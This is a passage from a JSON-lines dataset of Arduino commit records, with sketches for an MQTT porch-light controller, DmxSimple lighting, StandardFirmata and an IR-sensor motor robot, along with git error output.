network initializing...\"));\n #endif\n\n \/\/ Connect to network.\n setupWifi();\n \n \/\/ Set IO pins for use.\n pinMode(RELAY_PIN, OUTPUT);\n pinMode(BYPASS_PIN, INPUT);\n\n \/\/ Attach interrupt to avoid missing input.\n if(g_bypass_type) {\n \/\/ Switch\n \/\/attachInterrupt(BYPASS_PIN, g_bypass_activated_interrupt, <FILL_IN>) FILL IN THE STATE CHANGE DIRECTION BEFORE ENABLING\n } else {\n \/\/ Button\n attachInterrupt(BYPASS_PIN, g_bypass_activated_interrupt, RISING);\n }\n\n \/\/ Configure and connect to MQTT broker.\n g_mqttClient.setServer(MQTT_SERVER_IP, MQTT_SERVER_PORT);\n g_mqttClient.setCallback(callback);\n\n \/\/ Configure and initialize OTA listener.\n ArduinoOTA.setHostname(OTA_HOSTNAME);\n ArduinoOTA.setPassword(OTA_PASSWORD);\n ArduinoOTA.setPort(OTA_PORT);\n \n #ifdef DEBUG\n ArduinoOTA.onStart([]() {\n Serial.println(F(\"INFO: OTA session started.\"));\n });\n ArduinoOTA.onEnd([]() {\n Serial.println(F(\"INFO: OTA session ended.\"));\n });\n ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {\n Serial.printf(\"INFO: OTA rogress is %u%%\\r\", (progress \/ (total \/ 100)));\n });\n ArduinoOTA.onError([](ota_error_t error) {\n Serial.printf(\"ERROR: [%u] \", error);\n if (error == OTA_AUTH_ERROR) {\n Serial.println(\"Auth Failed\");\n } else if (error == OTA_BEGIN_ERROR) {\n Serial.println(\"Begin Failed\");\n } else if (error == OTA_CONNECT_ERROR) {\n Serial.println(\"Connect Failed\");\n } else if (error == OTA_RECEIVE_ERROR) {\n Serial.println(\"Receive Failed\");\n } else if (error == OTA_END_ERROR) {\n Serial.println(\"End Failed\");\n }\n });\n #endif\n\n ArduinoOTA.begin();\n}\n\n\/*\n * System run\n *\/\nvoid loop() {\n \/\/ Ensure connection to MQTT broker is active, if not fix it.\n if (!g_mqttClient.connected()) {\n reconnect();\n }\n\n \/\/ Listen for messages from the broker.\n g_mqttClient.loop();\n\n \/\/ Listen for OTA messages\n ArduinoOTA.handle();\n \n \/\/ Check interrupt to see if physical state request set.\n if (g_bypass_activated) {\n g_bypass_activated_actionable();\n g_bypass_activated = false;\n }\n\n \/\/ Delay required if debug mode is disabled due to delay of mechanical relays.\n yield();\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/PorchLights\/PorchLights.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"61b41486c96a8bc58947aef81a791446f23dfefd","subject":"this is the official SPI \u2026","message":"this is the official SPI \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"EndstopTest\/SPI.ino","new_file":"EndstopTest\/SPI.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"fa9c163b0538c330abd78744227bee767ac6e4cc","subject":"starting with the DMXSimple example","message":"starting with the DMXSimple example\n","repos":"5shekel\/lightnight","old_file":"nightlight_ard\/nightlight_ard.ino","new_file":"nightlight_ard\/nightlight_ard.ino","new_contents":"\/* Welcome to DmxSimple. This library allows you to control DMX stage and\n** architectural lighting and visual effects easily from Arduino. DmxSimple\n** is compatible with the Tinker.it! DMX shield and all known DIY Arduino\n** DMX control circuits.\n**\n** DmxSimple is available from: http:\/\/code.google.com\/p\/tinkerit\/\n** Help and support: http:\/\/groups.google.com\/group\/dmxsimple *\/\n\n\/* To use DmxSimple, you will need the following line. Arduino will\n** auto-insert it if you select Sketch > Import Library > DmxSimple. *\/\na\n#include <DmxSimple.h>\n\nvoid setup() {\n \/* The most common pin for DMX output is pin 3, which DmxSimple\n ** uses by default. If you need to change that, do it here. *\/\n DmxSimple.usePin(3);\n\n \/* DMX devices typically need to receive a complete set of channels\n ** even if you only need to adjust the first channel. You can\n ** easily change the number of channels sent here. If you don't\n ** do this, DmxSimple will set the maximum channel number to the\n ** highest channel you DmxSimple.write() to. *\/\n DmxSimple.maxChannel(4);\n}\n\nvoid loop() {\n int brightness;\n \/* Simple loop to ramp up brightness *\/\n for (brightness = 0; brightness <= 255; brightness++) {\n \n \/* Update DMX channel 1 to new brightness *\/\n DmxSimple.write(1, brightness);\n \n \/* Small delay to slow down the ramping *\/\n delay(10);\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'nightlight_ard\/nightlight_ard.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"589563da60f9ee32d961d7d59b44e592de79adf9","subject":"ok setting the clock speed does some magic","message":"ok setting the clock speed does some magic\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"SPITest\/SPITest.ino","new_file":"SPITest\/SPITest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"c1b610817589ceee9b1830409dc737bf3e6ca6da","subject":"add StandardFirmata.ino","message":"add StandardFirmata.ino\n","repos":"webduinoio\/wafirmata","old_file":"StandardFirmata.ino","new_file":"StandardFirmata.ino","new_contents":"\/*\n Firmata is a generic protocol for communicating with microcontrollers\n from software on a host computer. It is intended to work with\n any host computer software package.\n\n To download a host software package, please clink on the following link\n to open the download page in your default browser.\n\n https:\/\/github.com\/firmata\/arduino#firmata-client-libraries\n\n Copyright (C) 2006-2008 Hans-Christoph Steiner. All rights reserved.\n Copyright (C) 2010-2011 Paul Stoffregen. All rights reserved.\n Copyright (C) 2009 Shigeru Kobayashi. All rights reserved.\n Copyright (C) 2009-2015 Jeff Hoefs. All rights reserved.\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n See file LICENSE.txt for further informations on licensing terms.\n\n Last updated by Jeff Hoefs: April 11, 2015\n*\/\n\n#include <Servo.h>\n#include <Wire.h>\n#include <Firmata.h>\n\n#define I2C_WRITE B00000000\n#define I2C_READ B00001000\n#define I2C_READ_CONTINUOUSLY B00010000\n#define I2C_STOP_READING B00011000\n#define I2C_READ_WRITE_MODE_MASK B00011000\n#define I2C_10BIT_ADDRESS_MODE_MASK B00100000\n#define MAX_QUERIES 8\n#define REGISTER_NOT_SPECIFIED -1\n\n\/\/ the minimum interval for sampling analog input\n#define MINIMUM_SAMPLING_INTERVAL 10\n\n\n\/*==============================================================================\n * GLOBAL VARIABLES\n *============================================================================*\/\n\n\/* analog inputs *\/\nint analogInputsToReport = 0; \/\/ bitwise array to store pin reporting\n\n\/* digital input ports *\/\nbyte reportPINs[TOTAL_PORTS]; \/\/ 1 = report this port, 0 = silence\nbyte previousPINs[TOTAL_PORTS]; \/\/ previous 8 bits sent\n\n\/* pins configuration *\/\nbyte pinConfig[TOTAL_PINS]; \/\/ configuration of every pin\nbyte portConfigInputs[TOTAL_PORTS]; \/\/ each bit: 1 = pin in INPUT, 0 = anything else\nint pinState[TOTAL_PINS]; \/\/ any value that has been written\n\n\/* timer variables *\/\nunsigned long currentMillis; \/\/ store the current value from millis()\nunsigned long previousMillis; \/\/ for comparison with currentMillis\nunsigned int samplingInterval = 19; \/\/ how often to run the main loop (in ms)\n\n\/* i2c data *\/\nstruct i2c_device_info {\n byte addr;\n int reg;\n byte bytes;\n};\n\n\/* for i2c read continuous more *\/\ni2c_device_info query[MAX_QUERIES];\n\nbyte i2cRxData[32];\nboolean isI2CEnabled = false;\nsigned char queryIndex = -1;\n\/\/ default delay time between i2c read request and Wire.requestFrom()\nunsigned int i2cReadDelayTime = 0;\n\nServo servos[MAX_SERVOS];\nbyte servoPinMap[TOTAL_PINS];\nbyte detachedServos[MAX_SERVOS];\nbyte detachedServoCount = 0;\nbyte servoCount = 0;\n\nboolean isResetting = false;\n\n\/* utility functions *\/\nvoid wireWrite(byte data)\n{\n#if ARDUINO >= 100\n Wire.write((byte)data);\n#else\n Wire.send(data);\n#endif\n}\n\nbyte wireRead(void)\n{\n#if ARDUINO >= 100\n return Wire.read();\n#else\n return Wire.receive();\n#endif\n}\n\n\/*==============================================================================\n * FUNCTIONS\n *============================================================================*\/\n\nvoid attachServo(byte pin, int minPulse, int maxPulse)\n{\n if (servoCount < MAX_SERVOS) {\n \/\/ reuse indexes of detached servos until all have been reallocated\n if (detachedServoCount > 0) {\n servoPinMap[pin] = detachedServos[detachedServoCount - 1];\n if (detachedServoCount > 0) detachedServoCount--;\n } else {\n servoPinMap[pin] = servoCount;\n servoCount++;\n }\n if (minPulse > 0 && maxPulse > 0) {\n servos[servoPinMap[pin]].attach(PIN_TO_DIGITAL(pin), minPulse, maxPulse);\n } else {\n servos[servoPinMap[pin]].attach(PIN_TO_DIGITAL(pin));\n }\n } else {\n Firmata.sendString(\"Max servos attached\");\n }\n}\n\nvoid detachServo(byte pin)\n{\n servos[servoPinMap[pin]].detach();\n \/\/ if we're detaching the last servo, decrement the count\n \/\/ otherwise store the index of the detached servo\n if (servoPinMap[pin] == servoCount && servoCount > 0) {\n servoCount--;\n } else if (servoCount > 0) {\n \/\/ keep track of detached servos because we want to reuse their indexes\n \/\/ before incrementing the count of attached servos\n detachedServoCount++;\n detachedServos[detachedServoCount - 1] = servoPinMap[pin];\n }\n\n servoPinMap[pin] = 255;\n}\n\nvoid readAndReportData(byte address, int theRegister, byte numBytes) {\n \/\/ allow I2C requests that don't require a register read\n \/\/ for example, some devices using an interrupt pin to signify new data available\n \/\/ do not always require the register read so upon interrupt you call Wire.requestFrom()\n if (theRegister != REGISTER_NOT_SPECIFIED) {\n Wire.beginTransmission(address);\n wireWrite((byte)theRegister);\n Wire.endTransmission();\n \/\/ do not set a value of 0\n if (i2cReadDelayTime > 0) {\n \/\/ delay is necessary for some devices such as WiiNunchuck\n delayMicroseconds(i2cReadDelayTime);\n }\n } else {\n theRegister = 0; \/\/ fill the register with a dummy value\n }\n\n Wire.requestFrom(address, numBytes); \/\/ all bytes are returned in requestFrom\n\n \/\/ check to be sure correct number of bytes were returned by slave\n if (numBytes < Wire.available()) {\n Firmata.sendString(\"I2C: Too many bytes received\");\n } else if (numBytes > Wire.available()) {\n Firmata.sendString(\"I2C: Too few bytes received\");\n }\n\n i2cRxData[0] = address;\n i2cRxData[1] = theRegister;\n\n for (int i = 0; i < numBytes && Wire.available(); i++) {\n i2cRxData[2 + i] = wireRead();\n }\n\n \/\/ send slave address, register and received bytes\n Firmata.sendSysex(SYSEX_I2C_REPLY, numBytes + 2, i2cRxData);\n}\n\nvoid outputPort(byte portNumber, byte portValue, byte forceSend)\n{\n \/\/ pins not configured as INPUT are cleared to zeros\n portValue = portValue & portConfigInputs[portNumber];\n \/\/ only send if the value is different than previously sent\n if (forceSend || previousPINs[portNumber] != portValue) {\n Firmata.sendDigitalPort(portNumber, portValue);\n previousPINs[portNumber] = portValue;\n }\n}\n\n\/* -----------------------------------------------------------------------------\n * check all the active digital inputs for change of state, then add any events\n * to the Serial output queue using Serial.print() *\/\nvoid checkDigitalInputs(void)\n{\n \/* Using non-looping code allows constants to be given to readPort().\n * The compiler will apply substantial optimizations if the inputs\n * to readPort() are compile-time constants. *\/\n if (TOTAL_PORTS > 0 && reportPINs[0]) outputPort(0, readPort(0, portConfigInputs[0]), false);\n if (TOTAL_PORTS > 1 && reportPINs[1]) outputPort(1, readPort(1, portConfigInputs[1]), false);\n if (TOTAL_PORTS > 2 && reportPINs[2]) outputPort(2, readPort(2, portConfigInputs[2]), false);\n if (TOTAL_PORTS > 3 && reportPINs[3]) outputPort(3, readPort(3, portConfigInputs[3]), false);\n if (TOTAL_PORTS > 4 && reportPINs[4]) outputPort(4, readPort(4, portConfigInputs[4]), false);\n if (TOTAL_PORTS > 5 && reportPINs[5]) outputPort(5, readPort(5, portConfigInputs[5]), false);\n if (TOTAL_PORTS > 6 && reportPINs[6]) outputPort(6, readPort(6, portConfigInputs[6]), false);\n if (TOTAL_PORTS > 7 && reportPINs[7]) outputPort(7, readPort(7, portConfigInputs[7]), false);\n if (TOTAL_PORTS > 8 && reportPINs[8]) outputPort(8, readPort(8, portConfigInputs[8]), false);\n if (TOTAL_PORTS > 9 && reportPINs[9]) outputPort(9, readPort(9, portConfigInputs[9]), false);\n if (TOTAL_PORTS > 10 && reportPINs[10]) outputPort(10, readPort(10, portConfigInputs[10]), false);\n if (TOTAL_PORTS > 11 && reportPINs[11]) outputPort(11, readPort(11, portConfigInputs[11]), false);\n if (TOTAL_PORTS > 12 && reportPINs[12]) outputPort(12, readPort(12, portConfigInputs[12]), false);\n if (TOTAL_PORTS > 13 && reportPINs[13]) outputPort(13, readPort(13, portConfigInputs[13]), false);\n if (TOTAL_PORTS > 14 && reportPINs[14]) outputPort(14, readPort(14, portConfigInputs[14]), false);\n if (TOTAL_PORTS > 15 && reportPINs[15]) outputPort(15, readPort(15, portConfigInputs[15]), false);\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/* sets the pin mode to the correct state and sets the relevant bits in the\n * two bit-arrays that track Digital I\/O and PWM status\n *\/\nvoid setPinModeCallback(byte pin, int mode)\n{\n if (pinConfig[pin] == IGNORE)\n return;\n\n if (pinConfig[pin] == I2C && isI2CEnabled && mode != I2C) {\n \/\/ disable i2c so pins can be used for other functions\n \/\/ the following if statements should reconfigure the pins properly\n disableI2CPins();\n }\n if (IS_PIN_DIGITAL(pin) && mode != SERVO) {\n if (servoPinMap[pin] < MAX_SERVOS && servos[servoPinMap[pin]].attached()) {\n detachServo(pin);\n }\n }\n if (IS_PIN_ANALOG(pin)) {\n reportAnalogCallback(PIN_TO_ANALOG(pin), mode == ANALOG ? 1 : 0); \/\/ turn on\/off reporting\n }\n if (IS_PIN_DIGITAL(pin)) {\n if (mode == INPUT) {\n portConfigInputs[pin \/ 8] |= (1 << (pin & 7));\n } else {\n portConfigInputs[pin \/ 8] &= ~(1 << (pin & 7));\n }\n }\n pinState[pin] = 0;\n switch (mode) {\n case ANALOG:\n if (IS_PIN_ANALOG(pin)) {\n if (IS_PIN_DIGITAL(pin)) {\n pinMode(PIN_TO_DIGITAL(pin), INPUT); \/\/ disable output driver\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable internal pull-ups\n }\n pinConfig[pin] = ANALOG;\n }\n break;\n case INPUT:\n if (IS_PIN_DIGITAL(pin)) {\n pinMode(PIN_TO_DIGITAL(pin), INPUT); \/\/ disable output driver\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable internal pull-ups\n pinConfig[pin] = INPUT;\n }\n break;\n case OUTPUT:\n if (IS_PIN_DIGITAL(pin)) {\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable PWM\n pinMode(PIN_TO_DIGITAL(pin), OUTPUT);\n pinConfig[pin] = OUTPUT;\n }\n break;\n case PWM:\n if (IS_PIN_PWM(pin)) {\n pinMode(PIN_TO_PWM(pin), OUTPUT);\n analogWrite(PIN_TO_PWM(pin), 0);\n pinConfig[pin] = PWM;\n }\n break;\n case SERVO:\n if (IS_PIN_DIGITAL(pin)) {\n pinConfig[pin] = SERVO;\n if (servoPinMap[pin] == 255 || !servos[servoPinMap[pin]].attached()) {\n \/\/ pass -1 for min and max pulse values to use default values set\n \/\/ by Servo library\n attachServo(pin, -1, -1);\n }\n }\n break;\n case I2C:\n if (IS_PIN_I2C(pin)) {\n \/\/ mark the pin as i2c\n \/\/ the user must call I2C_CONFIG to enable I2C for a device\n pinConfig[pin] = I2C;\n }\n break;\n default:\n Firmata.sendString(\"Unknown pin mode\"); \/\/ TODO: put error msgs in EEPROM\n }\n \/\/ TODO: save status to EEPROM here, if changed\n}\n\nvoid analogWriteCallback(byte pin, int value)\n{\n if (pin < TOTAL_PINS) {\n switch (pinConfig[pin]) {\n case SERVO:\n if (IS_PIN_DIGITAL(pin))\n servos[servoPinMap[pin]].write(value);\n pinState[pin] = value;\n break;\n case PWM:\n if (IS_PIN_PWM(pin))\n analogWrite(PIN_TO_PWM(pin), value);\n pinState[pin] = value;\n break;\n }\n }\n}\n\nvoid digitalWriteCallback(byte port, int value)\n{\n byte pin, lastPin, mask = 1, pinWriteMask = 0;\n\n if (port < TOTAL_PORTS) {\n \/\/ create a mask of the pins on this port that are writable.\n lastPin = port * 8 + 8;\n if (lastPin > TOTAL_PINS) lastPin = TOTAL_PINS;\n for (pin = port * 8; pin < lastPin; pin++) {\n \/\/ do not disturb non-digital pins (eg, Rx & Tx)\n if (IS_PIN_DIGITAL(pin)) {\n \/\/ only write to OUTPUT and INPUT (enables pullup)\n \/\/ do not touch pins in PWM, ANALOG, SERVO or other modes\n if (pinConfig[pin] == OUTPUT || pinConfig[pin] == INPUT) {\n pinWriteMask |= mask;\n pinState[pin] = ((byte)value & mask) ? 1 : 0;\n }\n }\n mask = mask << 1;\n }\n writePort(port, (byte)value, pinWriteMask);\n }\n}\n\n\n\/\/ -----------------------------------------------------------------------------\n\/* sets bits in a bit array (int) to toggle the reporting of the analogIns\n *\/\n\/\/void FirmataClass::setAnalogPinReporting(byte pin, byte state) {\n\/\/}\nvoid reportAnalogCallback(byte analogPin, int value)\n{\n if (analogPin < TOTAL_ANALOG_PINS) {\n if (value == 0) {\n analogInputsToReport = analogInputsToReport & ~ (1 << analogPin);\n } else {\n analogInputsToReport = analogInputsToReport | (1 << analogPin);\n \/\/ prevent during system reset or all analog pin values will be reported\n \/\/ which may report noise for unconnected analog pins\n if (!isResetting) {\n \/\/ Send pin value immediately. This is helpful when connected via\n \/\/ ethernet, wi-fi or bluetooth so pin states can be known upon\n \/\/ reconnecting.\n Firmata.sendAnalog(analogPin, analogRead(analogPin));\n }\n }\n }\n \/\/ TODO: save status to EEPROM here, if changed\n}\n\nvoid reportDigitalCallback(byte port, int value)\n{\n if (port < TOTAL_PORTS) {\n reportPINs[port] = (byte)value;\n \/\/ Send port value immediately. This is helpful when connected via\n \/\/ ethernet, wi-fi or bluetooth so pin states can be known upon\n \/\/ reconnecting.\n if (value) outputPort(port, readPort(port, portConfigInputs[port]), true);\n }\n \/\/ do not disable analog reporting on these 8 pins, to allow some\n \/\/ pins used for digital, others analog. Instead, allow both types\n \/\/ of reporting to be enabled, but check if the pin is configured\n \/\/ as analog when sampling the analog inputs. Likewise, while\n \/\/ scanning digital pins, portConfigInputs will mask off values from any\n \/\/ pins configured as analog\n}\n\n\/*==============================================================================\n * SYSEX-BASED commands\n *============================================================================*\/\n\nvoid sysexCallback(byte command, byte argc, byte *argv)\n{\n byte mode;\n byte slaveAddress;\n byte data;\n int slaveRegister;\n unsigned int delayTime;\n\n switch (command) {\n case I2C_REQUEST:\n mode = argv[1] & I2C_READ_WRITE_MODE_MASK;\n if (argv[1] & I2C_10BIT_ADDRESS_MODE_MASK) {\n Firmata.sendString(\"10-bit addressing not supported\");\n return;\n }\n else {\n slaveAddress = argv[0];\n }\n\n switch (mode) {\n case I2C_WRITE:\n Wire.beginTransmission(slaveAddress);\n for (byte i = 2; i < argc; i += 2) {\n data = argv[i] + (argv[i + 1] << 7);\n wireWrite(data);\n }\n Wire.endTransmission();\n delayMicroseconds(70);\n break;\n case I2C_READ:\n if (argc == 6) {\n \/\/ a slave register is specified\n slaveRegister = argv[2] + (argv[3] << 7);\n data = argv[4] + (argv[5] << 7); \/\/ bytes to read\n }\n else {\n \/\/ a slave register is NOT specified\n slaveRegister = REGISTER_NOT_SPECIFIED;\n data = argv[2] + (argv[3] << 7); \/\/ bytes to read\n }\n readAndReportData(slaveAddress, (int)slaveRegister, data);\n break;\n case I2C_READ_CONTINUOUSLY:\n if ((queryIndex + 1) >= MAX_QUERIES) {\n \/\/ too many queries, just ignore\n Firmata.sendString(\"too many queries\");\n break;\n }\n if (argc == 6) {\n \/\/ a slave register is specified\n slaveRegister = argv[2] + (argv[3] << 7);\n data = argv[4] + (argv[5] << 7); \/\/ bytes to read\n }\n else {\n \/\/ a slave register is NOT specified\n slaveRegister = (int)REGISTER_NOT_SPECIFIED;\n data = argv[2] + (argv[3] << 7); \/\/ bytes to read\n }\n queryIndex++;\n query[queryIndex].addr = slaveAddress;\n query[queryIndex].reg = slaveRegister;\n query[queryIndex].bytes = data;\n break;\n case I2C_STOP_READING:\n byte queryIndexToSkip;\n \/\/ if read continuous mode is enabled for only 1 i2c device, disable\n \/\/ read continuous reporting for that device\n if (queryIndex <= 0) {\n queryIndex = -1;\n } else {\n \/\/ if read continuous mode is enabled for multiple devices,\n \/\/ determine which device to stop reading and remove it's data from\n \/\/ the array, shifiting other array data to fill the space\n for (byte i = 0; i < queryIndex + 1; i++) {\n if (query[i].addr == slaveAddress) {\n queryIndexToSkip = i;\n break;\n }\n }\n\n for (byte i = queryIndexToSkip; i < queryIndex + 1; i++) {\n if (i < MAX_QUERIES) {\n query[i].addr = query[i + 1].addr;\n query[i].reg = query[i + 1].reg;\n query[i].bytes = query[i + 1].bytes;\n }\n }\n queryIndex--;\n }\n break;\n default:\n break;\n }\n break;\n case I2C_CONFIG:\n delayTime = (argv[0] + (argv[1] << 7));\n\n if (delayTime > 0) {\n i2cReadDelayTime = delayTime;\n }\n\n if (!isI2CEnabled) {\n enableI2CPins();\n }\n\n break;\n case SERVO_CONFIG:\n if (argc > 4) {\n \/\/ these vars are here for clarity, they'll optimized away by the compiler\n byte pin = argv[0];\n int minPulse = argv[1] + (argv[2] << 7);\n int maxPulse = argv[3] + (argv[4] << 7);\n\n if (IS_PIN_DIGITAL(pin)) {\n if (servoPinMap[pin] < MAX_SERVOS && servos[servoPinMap[pin]].attached()) {\n detachServo(pin);\n }\n attachServo(pin, minPulse, maxPulse);\n setPinModeCallback(pin, SERVO);\n }\n }\n break;\n case SAMPLING_INTERVAL:\n if (argc > 1) {\n samplingInterval = argv[0] + (argv[1] << 7);\n if (samplingInterval < MINIMUM_SAMPLING_INTERVAL) {\n samplingInterval = MINIMUM_SAMPLING_INTERVAL;\n }\n } else {\n \/\/Firmata.sendString(\"Not enough data\");\n }\n break;\n case EXTENDED_ANALOG:\n if (argc > 1) {\n int val = argv[1];\n if (argc > 2) val |= (argv[2] << 7);\n if (argc > 3) val |= (argv[3] << 14);\n analogWriteCallback(argv[0], val);\n }\n break;\n case CAPABILITY_QUERY:\n Firmata.write(START_SYSEX);\n Firmata.write(CAPABILITY_RESPONSE);\n for (byte pin = 0; pin < TOTAL_PINS; pin++) {\n if (IS_PIN_DIGITAL(pin)) {\n Firmata.write((byte)INPUT);\n Firmata.write(1);\n Firmata.write((byte)OUTPUT);\n Firmata.write(1);\n }\n if (IS_PIN_ANALOG(pin)) {\n Firmata.write(ANALOG);\n Firmata.write(10); \/\/ 10 = 10-bit resolution\n }\n if (IS_PIN_PWM(pin)) {\n Firmata.write(PWM);\n Firmata.write(8); \/\/ 8 = 8-bit resolution\n }\n if (IS_PIN_DIGITAL(pin)) {\n Firmata.write(SERVO);\n Firmata.write(14);\n }\n if (IS_PIN_I2C(pin)) {\n Firmata.write(I2C);\n Firmata.write(1); \/\/ TODO: could assign a number to map to SCL or SDA\n }\n Firmata.write(127);\n }\n Firmata.write(END_SYSEX);\n break;\n case PIN_STATE_QUERY:\n if (argc > 0) {\n byte pin = argv[0];\n Firmata.write(START_SYSEX);\n Firmata.write(PIN_STATE_RESPONSE);\n Firmata.write(pin);\n if (pin < TOTAL_PINS) {\n Firmata.write((byte)pinConfig[pin]);\n Firmata.write((byte)pinState[pin] & 0x7F);\n if (pinState[pin] & 0xFF80) Firmata.write((byte)(pinState[pin] >> 7) & 0x7F);\n if (pinState[pin] & 0xC000) Firmata.write((byte)(pinState[pin] >> 14) & 0x7F);\n }\n Firmata.write(END_SYSEX);\n }\n break;\n case ANALOG_MAPPING_QUERY:\n Firmata.write(START_SYSEX);\n Firmata.write(ANALOG_MAPPING_RESPONSE);\n for (byte pin = 0; pin < TOTAL_PINS; pin++) {\n Firmata.write(IS_PIN_ANALOG(pin) ? PIN_TO_ANALOG(pin) : 127);\n }\n Firmata.write(END_SYSEX);\n break;\n }\n}\n\nvoid enableI2CPins()\n{\n byte i;\n \/\/ is there a faster way to do this? would probaby require importing\n \/\/ Arduino.h to get SCL and SDA pins\n for (i = 0; i < TOTAL_PINS; i++) {\n if (IS_PIN_I2C(i)) {\n \/\/ mark pins as i2c so they are ignore in non i2c data requests\n setPinModeCallback(i, I2C);\n }\n }\n\n isI2CEnabled = true;\n\n Wire.begin();\n}\n\n\/* disable the i2c pins so they can be used for other functions *\/\nvoid disableI2CPins() {\n isI2CEnabled = false;\n \/\/ disable read continuous mode for all devices\n queryIndex = -1;\n}\n\n\/*==============================================================================\n * SETUP()\n *============================================================================*\/\n\nvoid systemResetCallback()\n{\n isResetting = true;\n\n \/\/ initialize a defalt state\n \/\/ TODO: option to load config from EEPROM instead of default\n\n if (isI2CEnabled) {\n disableI2CPins();\n }\n\n for (byte i = 0; i < TOTAL_PORTS; i++) {\n reportPINs[i] = false; \/\/ by default, reporting off\n portConfigInputs[i] = 0; \/\/ until activated\n previousPINs[i] = 0;\n }\n\n for (byte i = 0; i < TOTAL_PINS; i++) {\n \/\/ pins with analog capability default to analog input\n \/\/ otherwise, pins default to digital output\n if (IS_PIN_ANALOG(i)) {\n \/\/ turns off pullup, configures everything\n setPinModeCallback(i, ANALOG);\n } else {\n \/\/ sets the output to 0, configures portConfigInputs\n setPinModeCallback(i, OUTPUT);\n }\n\n servoPinMap[i] = 255;\n }\n \/\/ by default, do not report any analog inputs\n analogInputsToReport = 0;\n\n detachedServoCount = 0;\n servoCount = 0;\n\n \/* send digital inputs to set the initial state on the host computer,\n * since once in the loop(), this firmware will only send on change *\/\n \/*\n TODO: this can never execute, since no pins default to digital input\n but it will be needed when\/if we support EEPROM stored config\n for (byte i=0; i < TOTAL_PORTS; i++) {\n outputPort(i, readPort(i, portConfigInputs[i]), true);\n }\n *\/\n isResetting = false;\n}\n\nvoid setup()\n{\n Firmata.setFirmwareVersion(FIRMATA_MAJOR_VERSION, FIRMATA_MINOR_VERSION);\n\n Firmata.attach(ANALOG_MESSAGE, analogWriteCallback);\n Firmata.attach(DIGITAL_MESSAGE, digitalWriteCallback);\n Firmata.attach(REPORT_ANALOG, reportAnalogCallback);\n Firmata.attach(REPORT_DIGITAL, reportDigitalCallback);\n Firmata.attach(SET_PIN_MODE, setPinModeCallback);\n Firmata.attach(START_SYSEX, sysexCallback);\n Firmata.attach(SYSTEM_RESET, systemResetCallback);\n\n Firmata.begin(57600);\n systemResetCallback(); \/\/ reset to default config\n}\n\n\/*==============================================================================\n * LOOP()\n *============================================================================*\/\nvoid loop()\n{\n byte pin, analogPin;\n\n \/* DIGITALREAD - as fast as possible, check for changes and output them to the\n * FTDI buffer using Serial.print() *\/\n checkDigitalInputs();\n\n \/* STREAMREAD - processing incoming messagse as soon as possible, while still\n * checking digital inputs. *\/\n while (Firmata.available())\n Firmata.processInput();\n\n \/\/ TODO - ensure that Stream buffer doesn't go over 60 bytes\n\n currentMillis = millis();\n if (currentMillis - previousMillis > samplingInterval) {\n previousMillis += samplingInterval;\n \/* ANALOGREAD - do all analogReads() at the configured sampling interval *\/\n for (pin = 0; pin < TOTAL_PINS; pin++) {\n if (IS_PIN_ANALOG(pin) && pinConfig[pin] == ANALOG) {\n analogPin = PIN_TO_ANALOG(pin);\n if (analogInputsToReport & (1 << analogPin)) {\n Firmata.sendAnalog(analogPin, analogRead(analogPin));\n }\n }\n }\n \/\/ report i2c data for all device with read continuous mode enabled\n if (queryIndex > -1) {\n for (byte i = 0; i < queryIndex + 1; i++) {\n readAndReportData(query[i].addr, query[i].reg, query[i].bytes);\n }\n }\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'StandardFirmata.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5f6d97da5598759675db747239a77b446cb72904","subject":"Create Triple_IR_and_Motors.ino","message":"Create Triple_IR_and_Motors.ino","repos":"RoCTCNJ\/FireFighter","old_file":"Triple_IR_and_Motors.ino","new_file":"Triple_IR_and_Motors.ino","new_contents":"nt left, right, front;\n\nint E1 = 6;\nint M1 = 7;\nint E2 = 5; \nint M2 = 4; \n\n\nvoid setup()\n{\n Serial.begin(9600); \n pinMode(M1, OUTPUT); \n pinMode(M2, OUTPUT); \n}\n\nvoid loop()\n{\n\/\/IR Sensors\n left = analogRead(1); \/\/set x = data from analog port A#\n right = analogRead(2);\n front = analogRead(3);\n Serial.print(left); \n Serial.print(\" \");\n Serial.print(front);\n Serial.print(\" \");\n Serial.print(right);\n Serial.println();\n delay(1000); \/\/Delay the output by 1s (1000ms) \n \n \n \/\/Motors\n digitalWrite(M1,HIGH); \n digitalWrite(M2,HIGH); \n analogWrite(E1, 250); \/\/PWM Speed Control\n analogWrite(E2, 250); \/\/PWM Speed Control\n delay(2000); \n \n \n digitalWrite(M1,LOW); \n digitalWrite(M2,LOW); \n analogWrite(E1, 250); \/\/PWM Speed Control\n analogWrite(E2, 250); \/\/PWM Speed Control\n delay(2000); \n 